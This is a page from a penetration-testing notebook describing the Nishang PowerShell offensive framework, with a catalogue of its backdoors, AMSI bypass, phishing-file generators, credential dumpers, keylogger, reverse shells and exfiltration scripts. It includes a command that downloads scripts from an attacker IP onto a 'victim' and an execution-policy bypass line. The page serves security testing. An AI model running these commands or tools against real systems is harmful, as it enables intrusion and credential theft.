Infrastructure penetration testing notes
  • Initial page
  • Table Of Content
  • Infrastructure testing
    • Enumeration
      • Packet Capture
      • Host Discovery
      • Services / Ports
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 53 - DNS
        • 67 - DHCP
        • 69 - TFTP
        • 79 - Finger
        • 88 - Kerberos
        • 111 - RPC
        • 113 - ident
        • 135 - MSRPC
        • 137 - Netbios
        • 139/445 - SMB
        • 161 - SNMP
        • 177 - XDMCP
        • 363 - LDAP
        • 443 - HTTPS
        • 500 - IKE (IPSEC)
        • 512/513/514 - R Services
        • 623 - IPMI
        • 873 - RSYNC
        • 1099 - Java RMI
        • 1433 - Microsoft SQL
        • 1521 - Oracle DB
        • 2049 - NFS
        • 3306 - MySQL
        • 3389 - RDP
        • 5432 - PostgresSQL
        • 5900 - VNC
        • 5985 - WinRM
        • 6000 - X11
        • 6379 - Redis
        • 8080 - Jenkins
        • 11211 - Memcached
        • RDS
        • SQLite
        • Docker
      • IPV6
        • Scanning
        • Enumeration
        • Transfering files
        • Pivoting and routes
        • THC IPv6
    • Gaining Access
      • IP Forwarding
      • VLAN Information
      • Psexec
      • Upgrading shell
      • Reverse Shells One-Liners
      • Bruteforce
      • MITM cleartext protocols
      • Null session
      • LLMNR / NBT NS Spoofing
      • Port knocking
      • Downloading/Transfer files
      • Remote Desktop
      • NAC Bypass
      • Pass-The-Hash
    • Exploitation
      • Solaris
      • IPv6
      • Windows
        • Compiling Code
        • SMB Vulnerabilities
        • Kerberos Attacks
    • Privilege Escalation
      • Situational Awareness
        • Linux
        • Windows
          • Registry
          • PowerView
          • FSMO Roles
      • Windows
        • Disable Apps and Firewall
        • Add user script
        • UAC Bypass
        • icacls
        • Running services
        • Common Exploits
      • Linux
        • SUID Shell script
        • CVE-2019-14287
        • Kernel exploit
      • Solaris
      • FreeBSD
      • Automated tools
      • Metasploit Modules
      • Password Dumping
    • Breakout
      • LOLBas
      • powershell constrained language byass
      • Alternatives to command prompt
      • Windows utilities
      • Applocker
      • Restricted shells
      • Environmental Variables / Bypassing Path Restrictions
      • Docker escape
      • Just Enough Administration (JEA)
    • Presistance
      • Windows
    • Pivoting
      • Adding routes
    • Password Cracking
      • Hashcat
      • John
      • Cisco Passwords
      • Passwords Lists
      • Generating wordlist
    • Tools
      • Nishang
      • UACME
      • Bypass-UAC
      • MSBuildAPICaller
      • Impacket
      • SharpPersist
      • Terminals
      • IP Calculation
      • pwsh
      • psTools / Sysinternals
      • Unlock applocker
      • enum4linux
      • Bloodhound
        • aclpwn
      • mitm6
      • Enyx
      • nfsshell
      • PowerUpSQL
      • Metasploit
        • msfvenom
    • Others
Powered by GitBook
On this page
  • Scripts
  • ActiveDirectory
  • Antak – the Webshell
  • Backdoors
  • Bypass
  • Client
  • Escalation
  • Execution
  • Gather
  • MITM
  • Pivot
  • Prasadhak
  • Scan
  • Powerpreter
  • Shells
  • Utility

Was this helpful?

  1. Infrastructure testing
  2. Tools

Nishang

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of pene

PreviousToolsNextUACME

Last updated 5 years ago

Was this helpful?

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.

Link:

Also installed by default on Kali:

root@kali:~# ls -l /usr/share/nishang/ 
total 48 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Antak-WebShell 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Backdoors 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Escalation 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Execution 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Gather 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Misc 
-rw-r--r-- 1 root root  495 Jun  4 11:14 nishang.psm1 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Pivot 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 powerpreter 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Prasadhak 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Scan 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Utility 

We will need to upload the nishang scripts into the victim computer:

powershell iwr -uri 10.10.14.14/{Nishang script}

Load the script:

powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

Scripts

Nishang currently contains the following scripts and payloads.

ActiveDirectory

Antak – the Webshell

Backdoors

Bypass

Client

Escalation

Execution

Gather

MITM

Pivot

Prasadhak

Scan

Powerpreter

Shells

Utility

 – Find computers in active directory which have Kerberos Unconstrained Delegation enabled.

 – Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell.

 – A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.

 – A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.

 – A backdoor which can execute PowerShell scripts at a given time on a target.

 – A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.

 – A backdoor which can use Windows screen saver for remote command and script execution.

 – A backdoor which can use alternate data streams and Windows Registry to achieve persistence.

 – A backdoor which uses well known Debugger trick to execute payload with Sticky keys and Utilman (Windows key + U).

 – Modify permissions of DCOM and WMI namespaces to allow access to a non-admin user.

 – Modify permissions of PowerShell remoting to allow access to a non-admin user.

 – Implementation of publicly known methods to bypass/avoid AMSI.

 – Create infected CHM files which can execute PowerShell commands and scripts.

 – Create Word files and infect existing ones to run PowerShell commands and scripts.

 – Create Excel files and infect existing ones to run PowerShell commands and scripts.

 – Create a HTA file which can be deployed on a web server and used in phishing campaigns.

 – Create signed JAR files which can be used with applets for script and command execution.

 – Create shortcut files capable of executing PowerShell commands and scripts.

 – Create IQY files for phishing credentials and SMB hashes.

 – Create JS files capable of executing PowerShell commands and scripts.

 – Create SCT files capable of executing PowerShell commands and scripts.

 – Create a SCF file which can be used for capturing NTLM hash challenges.

 – When SYSTEM privileges are required.

 – Introduce vulnerabilities by removing patches.

 – Bypass UAC.

 – Download and execute a PowerShell script in memory.

 – Download an executable in text format, convert it to an executable, and execute.

 – Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.

 – Execute shellcode in memory using DNS TXT queries.

 – Execute PowerShell commands and scripts or a reverse PowerShell session using rundll32.exe.

 – Check for a virtual machine.

 – Copy the SAM file using Volume Shadow Copy Service.

 – Trick a user into giving credentials in plain text.

  – A pair of scripts for egress testing

 – Get juicy information from a target.

 – Get LSA Secret from a target.

 – Get password hashes from a target.

 – Get WLAN keys in plain text from a target.

 – Log keystrokes from a target.

 – Dump user passwords in plain on Windows 8.1 and Server 2012

 – Get password hints of Windows users from a target.

 – Connect back and Stream target screen using MJPEG.

 – Load mimikatz in memory. Updated and with some customisation.

 – Extract juicy information from target process (like browsers) memory using regex.

 – Exfiltrate information like user credentials, using WLAN SSID.

 – Identify admin jump-boxes and/or computers used to access Unix machines.

 – A local HTTPS proxy for MITM attacks. =

 – Check credentials on multiple computers and create PSSessions.

  – Copy and execute an executable on multiple machines.

  – Create network relays between computers.

 – Check running hashes of running process against the VirusTotal database.

 – Brute force FTP, Active Directory, MSSQL, and Sharepoint.

 – A handy port scanner.

 – All the functionality of nishang in a single script module.

 – Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent

 – Execute commands and scripts sent by Invoke-PsGcat.

 – An interactive PowerShell reverse connect or bind shell

 – Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.

 – Bind version of Invoke-PowerShellTcpOneLine.

 – An interactive PowerShell reverse connect or bind shell over UDP

 – Stripped down version of Invoke-PowerShellUdp.

 – Reverse interactive PowerShell over HTTPS.

 – Reverse interactive PowerShell over HTTP.

 – Clean the system after using Invoke-PoshRatHttps

 – Interactive PowerShell using WMI.

 – An interactive PowerShell reverse shell over ICMP.

 – An interactive PowerShell reverse shell over HTTP using rundll32.exe.

 – An interactive PowerShell reverse shell over HTTP using regsvr32.exe.

 – Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.

 – Add reboot persistence capability to a script.

 – Remote persistence added by the Add-Persistence script.

 – Pipe (|) this to any script to exfiltrate the output.

 – Transfer a file to the target.

 – Parse keys logged by the keylogger.

 – Encode and compress a script or string.

 – Decode and decompress a script or string from Invoke-Encode.

 – Run a web server which logs Basic authentication and SMB hashes.

 – Encode a string to ROT13 or decode a ROT13 string.

 – Generate DNS TXT records which could be used with other scripts.

https://github.com/samratashok/nishang
Get-Unconstrained
Antak
HTTP-Backdoor
DNS_TXT_Pwnage
Execute-OnTime
Gupt-Backdoor
Add-ScrnSaveBackdoor
Invoke-ADSBackdoor
Add-RegBackdoor
Set-RemoteWMI
Set-RemotePSRemoting
Invoke-AmsiBypass
Out-CHM
Out-Word
Out-Excel
Out-HTA
Out-Java
Out-Shortcut
Out-WebQuery
Out-JS
Out-SCT
Out-SCF
Enable-DuplicateToken
Remove-Update
Invoke-PsUACme
Download-Execute-PS
Download_Execute
Execute-Command-MSSQL
Execute-DNSTXT-Code
Out-RundllCommand
Check-VM
Copy-VSS
Invoke-CredentialsPhish
FireBuster
FireListener
Get-Information
Get-LSASecret
Get-PassHashes
Get-WLAN-Keys
Keylogger
Invoke-MimikatzWdigestDowngrade
Get-PassHints
Show-TargetScreen
Invoke-Mimikatz
Invoke-Mimikittenz
Invoke-SSIDExfil
Invoke-SessionGopher
Invoke-Interceptor
Create-MultipleSessions
Run-EXEonRemote
Invoke-NetworkRelay
Prasadhak
Brute-Force
Port-Scan
Powerpreter
Invoke-PsGcat
Invoke-PsGcatAgent
Invoke-PowerShellTcp
Invoke-PowerShellTcpOneLine
Invoke-PowerShellTcpOneLineBind
Invoke-PowerShellUdp
Invoke-PowerShellUdpOneLine
Invoke-PoshRatHttps
Invoke-PoshRatHttp
Remove-PoshRat
Invoke-PowerShellWmi
Invoke-PowerShellIcmp
Invoke-JSRatRundll
Invoke-JSRatRegsvr
Add-Exfiltration
Add-Persistence
Remove-Persistence
Do-Exfiltration
Download
Parse_Keys
Invoke-Encode
Invoke-Decode
Start-CaptureServer
ConvertTo-ROT13
Out-DnsTxt